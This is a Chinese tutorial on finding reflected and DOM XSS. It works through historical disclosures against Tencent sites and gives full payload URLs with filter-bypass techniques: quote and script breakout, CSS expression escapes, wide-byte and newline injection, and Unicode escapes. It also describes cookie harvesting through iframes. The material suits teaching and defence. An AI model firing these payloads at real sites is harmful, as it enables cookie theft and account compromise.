之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的,应该就是XSS,SQL注入了,再加上乌云泡着看别人的文章,看各家大网站的漏洞,决定把这一块知识聚拢一下,写成一篇文章。想了想,从简单到难,那就是一条打怪升级之路,所以就从最简单的反射型漏洞开始,一点一点提高,直到把大部分XSS 的形式找出来。
level 1 无过滤规则的XSS
最简单的跨站,也就是我们说的反射型跨站,也叫作非持久型,参数型跨站脚本。这种类型的脚本出现的面非常的广,互联网上这样的漏洞非常多,一般出没在各路小站点,大站点很少出现。乌云的漏洞列表里,海量的XSS 漏洞都来自互联网上访问量不高的小站,被辛苦挖洞的XSSer 们发掘出来的。
站在新手村我们的,需要一个最简单的野怪刷一下,这个野怪上下无任何装备,没有一点防御。也就是说,这个XSS 漏洞对于用户的输入,不做任何过滤行为。
一般来说,XSS 存在的地方,一定是需要有输入和输出概念的,一般的过滤规则,也是出现在输入阶段或者是输出阶段,如果两个都没有过滤,那么很轻松的就造成了漏洞。通常来说,这种洞非常好刷,比较自动化的方式是,建立一个爬虫系统,预设一些URL,爬虫爬取网页,在网页源码中寻找用户可以输入的地方,然后在可以输入的地方,将构造好的XSS 代码以输入形式,构造成请求,然后观察响应,是否对我们的输入做了过滤策略。如果是原本的返回,那么我们就说可能存在有xss漏洞。
同时,有另一种更为简单的漏洞,是直接在URL 中,如果有直接赋值参数的行为,也相当于一个可输入的位置,我们直接在URL 中将XSS 代码构造在URL 中,观察返回是否做了过滤处理,如果没有,那么就是一个最简单的野怪诞生。
在乌云中,有不少这样的漏洞,小站很多,大站很少,因为大站一般都有完备的过滤规则,很难在这些小问题上有任何闪失,再加上如今浏览器基本上都有安全策略对此类型进行防御,所以这种威力相对较小。
之前在HTTP 的文章里,有详细讲过 URL的格式,其基本格式如此:
每个结构对应的含义如下:
通常的注入发生在query 这一块,而一般一个安全的行为,就是对query 中的字符进行过滤,以防止xss。以百度的URL 为例,一个通常的URL 查询之后的造型是下面这样的:
问号之后有一大堆参数,&用来分割参数,他们对应的是什么意思不是本文关注的重点,可以参见这一篇文章百度搜索URL 参数解析。
其中wd 就是我们所说的搜索关键词,也就是我们的输入,如果我们将此字符改成
<script>alert(/xss/)</script>
在输出时我们看到,URL 变成了如下,可疑的部分被转义了。
https://www.baidu.com/s?wd=%22%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&rsv_spt=1&rsv_iqid=0xb3f5d3380002c15f&issp=1&f=3&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&oq=%26lt%3Bscript%26gt%3Balert(%26%2339%3Bxss%26%2339%3B)%26lt%3B%2Fscript%26gt%3B&rsv_t=455e8xS9GVGwfM%2BTxjkNH6uUohEOPZHQFWlqocmOh9s1caJr5IHzVrPJJKJ1OwdTglc3&inputT=5478&rsv_sug3=27&rsv_sug1=21&rsv_sug7=100&rsv_pq=cce2beda0002a800&rsv_sug2=0&rsv_sug4=6278
在这里举一个大站腾讯的简单的xss,是乌云上某马甲提交的,作为一个最简单的XSS 挖给大家学习。网站的网址是这样的:
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886
如果我们在这个URL 里尝试修改参数,将score 参数改成
<img src=1>
而输出的源码并没有发生变化:
在网易中看到的结果就变成了这样:
这很显然,就是一个xss漏洞了,将经典的xss 代码插入进去即可:
score=<img src=1 onerror=alert(1);>
效果如下:
这就是一个最无防御的XSS 存在,很明显的,它简单,暴力,当然也是极容易防御的,所以在一个较高级的攻防对抗,或者是大站漏洞中,基本上不会出现这样的漏洞(然而腾讯还是有这样的问题~~)。
level 2 包装进script
上一等级里,我们的xss 构造格式是在img 中,然后直接通过URL 参数提交,通常反射型的XSS 比较广泛,但是伤害一般来说没有太高,而且比较容易防范。除了img 元素,还有诸如input, iframe,a href, 主要利用的是href 或者 src 可以使用javascript, 或者是使用onerror,表示当前图片无法显示时候可以调用的脚本。更多的内容,接下来详析。
接下来,我们针对的还是反射型的XSS,仍然是在参数中,作为目标文件中的参数,通过URL 传递给它,但是没有对该参数进行详细的过滤,造成了有机可趁,继续放出腾讯家以前的一个例子,也是乌云上的,网址如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
此处的callback 参数,如果没有过滤的话,得到的网页源码里,我们就会看出来,如下:
拿出这一块的上下文代码,大约构造是这样的:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaa(_ret);}catch(err){aaaaaa(_ret);}</script>
aaaaaa如果我们替换成
<script>alert(/xss/)</script>
当然,我们注意到,上边的script 还没有闭合,为了让代码提前跳出前一个script ,我们应该在前边吧sciprt 闭合,这样:
</script><script>alert(/xss/)</script>
这样,很明显,就会继续发起了XSS 弹窗。但是,如果我们不允许输入破折号呢,上边所说的就没有办法了,但是,这并不代表毫无办法,还有一些具有威胁的函数,比如eval, String.fromCharCode, execute,这些都会造成XSS,也要过滤。如下,我们使用eval() 来构造攻击:
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
callback=eval('alert(1)');void 仍然令我们的源代码语法正确,能够正确执行。
但是像这样构造出来的情况,其实非常的少见,因为正常传第一个参数进去,开发者都会将 " 过滤掉,这样构造就失败了。
我们知道,XSSer 和 防御者之间的斗争从来就是道高一尺,魔高一丈的过程,防御者绞尽脑汁去过滤所有可能出现的情况,去处理所有可能的奇葩诡异编码情况,而XSSer 又会绞尽脑汁的去挖掘茫茫网络中漏洞,努力用各种奇技淫巧构造出五花八门的形态,看起来诡异无比,然而偏偏又能让javascript 语法正确,正常运行。
然而xss 却又一直是热门,但并不是很受重视的攻击手法,原因大概是这样的:
- 挖洞太麻烦,很耗时间,看上边两个漏洞,其中一个甚至是在某个获取QQ 应用宝上某个app 数据的URL 里发现的,而这种页面甚至很难被发现,所以他的伤害比较低,找到它却又要花费大量时间,而且还有很多构造方法不能成功,需要尝试各种模式。
- 这种伤害不是很大的反射型攻击,尚且还有机会通过爬虫自动化的挖掘到漏洞存在的可能,有很多复杂的存储型和DOM 型漏洞,更难通过爬虫挖到。
- 需要有良好的HTML,JS 功底,但是呢,如果功底好的话,直接就跑去做前端了,前端业务现在那么缺高级工程师。更多的,还需要有PHP,JSP 功底。
- 而Website 设置http-only,crossdomain.xml 时候,很多模式化的xss就失去力量了。
- 然而为什么热门呢,因为HTTP 世界的混乱,之前在写Web之困读书笔记的时候,作者也是强力吐槽了这个混乱的HTTP 世界,所以造成了XSS 几乎无处不在,而如果一个利用好的XSS,或者CSRF漏洞,会在某些情况下,造成难以弥补的伤害。
- 本质上将,SQL注入和XSS 都是由于代码上相似的漏洞造成的,而SQL 注入的危害要比XSS 看起来危险很多,很多人在挖SQL 注入漏洞的时候,顺手就挖几个XSS,也是很正常的。
- XSS 虽然看起来比较温柔,但是配上社工手段,可造成的影响仍然是不可小觑的,所以XSS 会火下去。
level 3 HTML 中的野怪
当然XSS 的漏洞不仅仅只出现在script 代码块中,还可以包含在丰富的HTML 的标签属性中。比如img,input 等一系列标签,基本格式是 < HTML标签 onXXXX="在这里" > 或者是放在伪URL 里,比如< a href = "javascript:在这里"> xxxx </a>。
一般这样地方的参数,很少是直接通过输入就直接放进去的,不过有时候常常是接受了用户的输入,最后输出的时候,会出现在这些位置,但如果对用户的输入没有做详尽的处理和过滤的话,就会出现明显的XSS 漏洞。来个栗子:
比如某网站是这样的:
http://example.com/search.php?word=helloworld
对应在HTML 代码中,他出现在了这样的区域里:
<input type="text" value="helloworld" />
开发者没有对helloworld进行过滤的话,我们直接构造
word=helloworld" onclick="alert(/xss/)
然后在对引号括号等,使用URL 编码,直接变成如下结构:
helloworld%22+onclick%3d%22alert(%2fxss%2f)
也就完成了xss过程,不过这种漏洞现在已经非常稀少,因为它太容易过滤了,只需要将双引号过滤即可,一般做法就是将双引号过滤成HTML 实体编码,也就是&#quot; 对于HTML 解析器,它能够识别在文本节点和参数值里边的实体编码,并且在内存中创建文档树的表现形式时,透明的对这些编码进行解码。所以,在创建DOM 树结构的时候,"(有个分号,但是markdown会直接转了); 还没有被解码成引号,而且创建文档树的内容的时,才会考虑解码,而这时,其XSS 功效已经不能发挥作用了。
于是,对于有过滤规则的情况下,该标签将变成:
<input type="text" value="helloworld" onclick="alert(1)" />
但是,仅仅是这样的过滤,显然是不够用的,还有其他的注入点可以进,继续在乌云上来看腾讯的例子,考虑这样一个网址:
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=FFFFFF&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
我们查看输出的HTML 源码,发现bg 那里对应的是background-color,我们尝试那里用不同的字符尝试,观察其过滤情况。在这里,我让bg = "<>() 就是希望观察一下它的过滤情况,基本上所有的字符都被过滤了,但是只有\ 没有被过滤
如何只用 \ 构造利用语句呢,我们可以想到CSS 中的字符编码,CSS 提供了一套转义处理策略,一个反斜杠后边跟1~6位十六进制数字。然后利用CSS 的expression 来调用JavaScript 代码。也就是试图构造出
expression(eval(alert(/xss/))
这样的代码,完整来说,就是这样的:
<body style="... background-color:;width:expression(eval(alert(/xss/)))">
用分号来结束backgroud-color,然后 w: 后边跟上expression,如果expression 要被过滤,那就加上转义,把expression 随意变下形就可以,于是,在下边这样的代码构造下,漏洞又被利用了。
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
不过很遗憾的,expression 当年是微软搞出来的技术,但是一直没被其他浏览器接受,同时,甚至微软自己如今也抛弃了这种特性,它出现在IE6,IE7,和IE8的一些早期版本,因为微软官方也认为该属性不具有通用性,而且它处理的事务,如今已经能够在CSS 中正常的完成,如min-width,max-width, 这些都已经在IE8之后得到很好的支持,所以expression 也只能在这两个古老版本上起效。
那么,继续考虑一些别的情况,考虑下面这个网站:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa
其输出的HTML 代码中,我们可以找到它:
对于放在javascript: 中的伪URL,其效果和放在script 代码块中没有区别。在这里 aaaaaa我们可以考虑对其做点什么,很自然的,我们想到用单引号闭合,然后后边加上alert(/xss/) 这样的构造,看起来比较绕,其构造步骤是这样的:
location.href='...&searchvalue=aaaaaa'
location.href='...&searchvalue=aaaa'+alert(1)+''
location.href='...&searchvalue=aaaa'+alert(1)+''
如果单引号,被过滤,就要改成HTML 编码,这样,就能在源代码中javascript 伪URL那里添加了alert(1) 这样的XSS。这步骤改造完毕之后,我们将可能被过滤的&-> %26,#->%23 转换成URL 编码,构造成这样的URL:
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
至此,又完成了一次XSS 注入,但到此处,是否有一个疑问呢,还是关于编码解析的问题。在上一个栗子中,我们说,将双引号,改成" ; 这样的形式,就不会出现异常的解析了,但是这里,我们主动的将单引号改成了 ; 这样的形式,反而成功的完成了XSS 呢。
其实,这是一个解析顺序的原因,正常的解析顺序是这样的,先对URL解码,那些用URL 编码的字符都变成解码后的参数传出去,然后是HTML 解析,HTML 解析,此时 ,是先构建DOM文档结构,然后才会对每一个文本节点,属性值内容进行解析,这时候,HTML 实体编码的部分,才会还原回来,这个时候已经不会对DOM 结构造成影响了。然后是JS 解析,此时才会执行JS 代码的内容。而此时,HTML 已经完成了解码。
对应上边的栗子,在JS 解析之前,HTML 已经对那些编码完成了解码,对于JS 来说,一切都写的清清楚楚的了。
回到那个栗子,我们利用的代码,原样是这样的:
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'"/></li>
当我们构造完成利用代码之后,对于页面上来说,就是要点击按钮,也就是onkeydown。 不仅要将URL 传出去,还需要用户点击按钮,这样造成的威胁小很多,不如img 标签里的onerror ,onload那样可以自动触发。
最后我们再考虑一下如何防守吧,上上栗子的问题,在于漏掉了斜杠的过滤,那么\ 该过滤还是要过滤的。对于上边这个栗子,可以考虑二次过滤,也就是将&都过滤为 & ;,这样不仅过滤了无编码的单引号等格式,又可以过滤掉利用实体编码想要逃过的实体编码格式。而如果只是用正则去片段&#xNN..等形式,实际上是不一定搞定所有的HTML 编码形式的。
level 4 离奇的宽字节
搞过SQL 注入的,应该是比较了解宽字节注入的,由于某些SQL 注入的核心是提前出线单引号来闭合前边的输入,然后在后边可以插入别的语句,联合查询等等。所以比较一般的过滤方式是将单引号转义,加一个斜杠。但此时忽略了编码的神奇。如果开发者在设置编码支持的时候,如果选择了GBK,gb18030,utf-8 等方式,实际上是支持十六位编码的。
最常见的方式,也就是在url里,在引号%27 或者是 %22 之前,加入%df, 由于0xdf 对应的大于128,所以,解析器会认为他和后边的组成了16位的编码,就会吃掉后边的字符,而后边跟着的字符,又恰恰是我们给引号添加的斜杠,%5c,于是%df 就会吃掉%5c 合并成一个字,引号重新暴露。
这种方法在XSS 不常见,但是如果某些XSS 在写过滤规则的时候,如果处理不当,还是有可能出现宽字节注入的情况,考虑如下url:
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa
此处双引号被过滤了,变成了" ;,如下:
如果我们尝试一下采用宽字节注入,考虑构造成如图所示:
zh_CN&t=%c0%22;alert(1);
令人惊奇的是,这次注入成功了,观察代码如图:
当然,此处所遇到的问题,应该并不是前边提到的传统的形式,%c0 吃掉%5c ,因为很明显,此处没有使用斜杠转义,而是转成了" ; 只能把原因归咎于正则表达式处理的问题。
我们看到,即使当以注意到了问题所在的时候,仍然可能犯错误,而且是以意想不到的方式犯错,黑客渗透的方式,可能会以所有意想不到的形式进行。
我们将防御性代码比做成安全的城墙,那么正则过滤引擎,应该是这座安全长城的第一站,而在《Web 之困》 一书中,作者也说过,要想试图过滤掉所有的危险的编码,这几乎是不可能完成的任务。但作为开发者,比黑客再多想一些,这是应该的。
在XSS 界,拥有各种各样的形式去变形构造,在owasp 里,这篇XSS Filter Evasion Cheat Sheet 详细介绍了各种变形,以期能穷尽目前已知的各种变形手段,下次,我会对其中的变性手段,进行总结。但是,你想要过滤这所有的变形手段,几乎是不可能的,即使你过滤了他们,而引擎本身出现的错误,又会创造新的漏洞,上述例子就是这样的。
被忽略的反斜线
通常,过滤XSS 就是要考虑过滤各种特殊的控制字符,比如尖括号,引号等,而如果过滤一旦漏过了某些符号,那就有可能通过各种转义,构造出一个绕过的XSS,下面就是一个例子。
杂乱无章,我们对照网页的源码,逐个尝试看能够注入,首先是先定位这些变量对应的位置,主要关注的还是前三个,vt=pass, ss=aaa, form=bbb, 构造完成之后我们在源码中寻找他们的位置如图:
定位到位置之后,我们把这一堆能使用的符号都拉进去尝试,包括引号,破折号,反斜杠等,这里如果能直接利用,最好是有双引号,它可以直接闭合前边的语法,从而构造新的语法,但是,很遗憾双引号这种头号仇恨还是第一时间被过滤了,但是漏过了反斜杠。
我们详细分析一下这一部分,考虑一下,看怎么注入:
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>
核心部分,就是下边那小部分:
<script>getTop().location.href="......"+"&ss=aaa"+"&from=bbb"+"¶m="+".....";</script>
如果我们使用了反斜杠,那么双引号就被转义了,语法就变化了:
<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ¶m= "+" .....";</script>
有一点点机会突破,但是后边的语法就太奇怪了,有语法错误了。肿么办,我们在试试正斜杠,发现也没有被屏蔽,perfect,我们用正斜杠来讲后边直接注释掉,让语法正常。
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m=";
但是还有一个问题,& 在这里,被考虑成了一个与操作,优先级是高于 =号的,变成了("字符串"&from)=1 的语法,这仍然是错误的。但是,如果我们再测试一下,= 号会不会被屏蔽呢,=号也可以用,那么我们改变一下语法,添加一个等号,变成 ==:
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m=";
于是语法编程了("string")&(from==1)的样式,from 变成了一个bool操作,但现在又面临了新的问题,如果你在URL 里本来该是一个定义的操作,却变成了一个判断的操作,from 就变成了未定义的状态了,语法仍然会报错,这我们就要进一步理解JavaScript的语法了,如果我们把from 当做一个变量或者是方法,如果是方法,无论在何处定义,都会被拉到最简便,所以我们在from 的部分再添加一个步骤:
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
这样,from 就不会被当成是未定义的了,但问题又来了,我们现在添加了许多东西,而添加的这些东西,包含了许多特殊字符,会不会通过呢,经过实际测试,还真是悲剧了,空格符被转义了:
空格符被转义了怎么办呢,我们找到新的替换品,那就是/**/, 这是一个注释符,之前我们也测试过了,斜杠不会被过滤,那么这个注释符,成功的顶替了空格,形成了正常的语法。
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m=";
从语法上看,这样就OK 了,我们的攻击代码可以放function 的前边,直接用alert(/xss/);测试,最终代码:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1
结果毫无疑问弹了窗。
那么回到源头去搜索整个注入的过程,我们发现,注入的过程,颇有几分SQL 的风采,都是利用各种语法上的技巧,在我们的SQL注入中,一些常见的技巧,比如基于重言式,这和XSS 的试图闭合语法相似,比如联合查询法,试图借助未转义的字符,来完成注入。
这个漏洞的挖掘过程,就是从一个狭小的入口进入,借助了字符过滤不完整的漏洞,挖开了深层的内容。所以,在实际编程开发中,对特殊字符的控制,是需要慎之又慎的,一旦有一个小小的漏洞,就会被随时攻破。
换行符的偷袭
上一次是反斜杠发挥的妙用,它默默地转义了一个双引号,还有一些其他有意思的符号,比如换行符也能发挥妙用,这次是来自换行符的一发偷袭。
看这样一个地址:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa
逐个测试注入点,我们发现最后的FilterValueAND 的输入点在源码中找到了输出点:
它出现在JS 语句里,一上来就感觉有戏。接下来尝试写入特殊字符,测试过滤情况。正常的情况下,尖括号,双引号:
但是令人奇怪的是,最后一个输出点竟然是在一大段注释里,这应该是开发的一个失误:
看到注释想到了什么呢?如果这里插进来一个换行符,那么应该被注释的部分就不是注释了。那后边再跟注入语句,就能够执行了。然后我们在用一个双斜杠来注释后边的无用部分。利用代码如下:
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(/xss/);//
直接就弹窗了。
这一次利用的太过简单,看起来应该是开发的一时疏忽,将一大段内容注释了,而注释里原本好包含了输出,那就有可能出问题了。
看一下源码,先测试双引号,妥妥的被过滤,HTML标签里的东西没希望了。往后边看,第二个又出现在了注释里,看来开发还是很希望遗留这些漏洞的,我们直接用一个换行符。
但问题是注释那里被注释掉了,但是接下来的var searchOrder="....";这一句就麻烦了。
//document.getElementById("order_select").value="aaa
alert(/xss/); //";
var searchOrder="aaa
alert(1);//";
第一个是OK 了,第二个语法错误了。那么又想到什么了呢,在JavaScript 语法里,一个反斜杠可以让语法让换行的内容接起来,形成多行写法。
var sarchOrder="aaa\
alert(/xss/);//";
于是,语法上又恢复了正常,而这一部分内容我们不用管它,只要上一个有效就可以了。但问题是,反斜杠被过滤了,过滤的方法是被转义了。
两个反斜杠就没法让JavaScript成立了,怎么办呢?记得之前采用的宽字符的战术,看一眼网页的编码格式,gb2312,说明宽字节是有效的。那我们就用128以上的字符,去吃掉一个反斜杠:
从结果上看,%c0吃掉了一个%5c,留下了一个反斜杠。
语法完全ok, 于是弹窗。
至此,这种反射型的XSS 基本上就这么些内容了。想要挖XSS 的洞,非常的耗费功夫,因为即使是没有安全编码尝试的开发者,也基本知道一些必须过滤的字符一定要过滤,另外在PHP 这些语言中,也有专门的函数诸如魔术引号来过滤处理。
不过学习这种XSS 类型,将扩宽思路,不仅是从注入的角度来看,能想到各种有意思的注入和XSS 利用,更重要的是从安全编码的角度看待开发,如何保证代码的安全实际上是比效率更加重要的点。
DOM XSS
之前提到的漏洞内容,都是反射型XSS,攻击性一般来说比较低,即用即消,难以持久,而且一般来说,如果cookie 设置成httponly,你就不能通过document.cookie 的方式获取cookie了,在做其他一些事情,反射型xss就显得乏力了。不过,如果没有设置成httponly,还是有方法获取到海量的用户cookie,简单的利用方法就是在一个自己可控的站点,控制一个iframe,然后链接到主站可xss利用的站点,在URL 里写好脚本,做好接受,就能源源不断的接受来自用户的信息了。
比如说新浪微博或者是腾讯微博存在XSS反射漏洞,我们在自己的站点中写好利用的iframe,然后在自己的微博上写一个吸引人的标题,然后附一个经过短链接转义过得链接。如果别人点进去,就会自动触发我们的XSS 脚本。以前Twitter 上也有这样的漏洞,短时间让黑客的粉丝暴涨百万,实际上只是自动执行了关注黑客的脚本。
下面我们进入下一个XSS类型,DOM XSS。所谓DOM 操作,就是利用JavaScript 的DOM 操作来进行利用。关于DOM树,DOM操作的基础,可以参见wikipedia ,可以查看更多信息。
DOM 常见的方法有:
- 获取节点
- getElementsById()
- getElementsByTagName()
- getElementsByClassName()
- 新增结点
- document.createElement() 创建节点对象,参数是字符串也就是html标签
- createTextNode 创建文本节点,配合上一个使用
- appendChild(element) 把新的结点添加到指定节点下,参数是一个节点对象
- insertChild() 在指定结点钱插入新的节点
- 修改节点
- replaceChild() 节点交换
- setAttribute() 设置属性
- 删除节点
- removeChild(element) 删除节点,要先获得父节点然后再删除子节点
- 一些属性
- innerHTML 节点内容,可以获取或者设置
- parentNode 当前节点的父节点
- childNode 子节点
- attributes 节点属性
- style 修改样式
下面我们回到XSS 上,如何利用一个显式的DOM XSS。
我们在代码中寻找其输出:
发现了很多个,将其代码格式化之后如下,我们会实际上,被执行的只有一个:
<strong id="titleshow">按职业1检索:aaaaaaa </strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地区检索:全部明星";
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业2")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业3")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
</script>
我们先测试几个特殊字符,发现尖括号被过滤了,但是\ 没有被过滤,而这里又是JS 代码,我们可以十三月Unicode 编码来代替尖括号,仍然可以实现代码利用。\u003c \003e 分别代表尖括号,\0020 代表空格。 而这里其实有一个比较关键的知识点,为什么有时候转义可以,有时候转义不行,编码解码的顺序到底是怎样的,具体可以看下一条文章。
所以,我们构造的完整URL 如下:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml
但是,左右尖括号的Unicode表示已经被过滤:
但仔细观察一下,我们发现,\u0020 都没有被转义,说明开发者的转义是非常局限的,指哪打哪,很有可能有别的方法可以利用。而Unicode 编码也有多种书写方式,比如 \x3c \x3e 就可以代表左右尖括号。那么我们值得一试:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml
令人惊奇的是竟然没有转义:
这样,弹窗就是必然的了。
这是一次简单的DOM XSS 过程,后边会有更加复杂的XSS等待挖掘。
DOM XSS
让我们继续寻找DOM XSS,在上一节里,在地址栏里输入的内容,很容易出现在了源代码里,然后我们发现源代码里是一个DOM 操作,通过js 的Unicode 转义,我们将利用代码植入到了innerHTML 指向的内容中,同时绕过了过滤。
关于编码的顺序问题,可以参考我之前总结的一篇文章,比较清晰。
那么,如果我们在源代码里,定位不到我们在URL 里的参数呢,其实这并没有太多不同。只是因为网页直接通过脚本,通过DOM 操作,修改了或者添加了某些标签,源码中看不到。但只需要进入调试工具里,就能找到了。
这里拉来一个老漏洞,现已修复:
http://qt.qq.com/video/play_video.htm?sid=aaaaaa
这样一个地址,我们跑去源代码里,是不会直接找到输出的,其实这也是更为常见的情况:
此时我们应该去到调试工具里找,在审查元素里,我们看到了输出的位置:
按照以往的方法,我们仍然是使用常识构造的方式,去看那些写法是被过滤的,然后尝试去构造攻击模式。另一种方法,则是去resources 中,去查看脚本,是那个脚本执行了什么操作,让变量进入了标签,了解清楚了之后,可以对症下药的创造攻击向量。
我们直接对sid 这个参数在resource 中搜索,会找到响应的处理函数。在这里,是一个叫getUrlPara 的函数:
进一步,定位到该函数的定义,通过分析该函数,我们能了解脚本在获得该参数后的操作,在该函数里,我们发现,该函数对 location.href 中的尖括号和引号已经进行了过滤处理,但实际上,这段代码实际上是不太正确。
因为在进行处理之前,拿到的href 已经经过了URL 编码,该函数不会对任何符号进行处理。即使是浏览器不做编码处理,如果我们预先对它进行编码处理,也会跳过函数中的过滤。然后让我们再回到函数调用之后的上下文。
var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,视频不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件,视频地址不合法!</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}
这里,通过decodeURLComponent 将编码后的参数,又解码成了原符号,而后边调用的insertFlash 操作,未经过滤的将sid 写进了页面:
function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}
我们很容易的想象到了构造< img src=# onerror=alert(1)>,对尖括号进行URL 编码就可以了。实际上,就这一个漏洞,我们不仅可以使用URL 编码的方式。结合我之前说的浏览器的解析顺序,在这里,从URL 获得的参数,进入脚本,脚本调用DOM 操作,修改DOM 树,所以我们用Unicode编码也能最后得到解析。
我们始终说,安全编码是一个不容易的技术,因为一步疏漏就会在最终造成满盘皆输。所以,对于开发者,想要真正构建安全的程序,就必须对程序所涉及的技术框架了如指掌。比如对于Web,应该对浏览器的原理,HTTP/HTTPS,各种编码原理,JS&CSS&HTML,PHP&ASP,的安全部分都有一定了解,才能在构建程序的时候,抓住最关键的部分,确保不出问题。
深入源码,邂逅eval和iframe
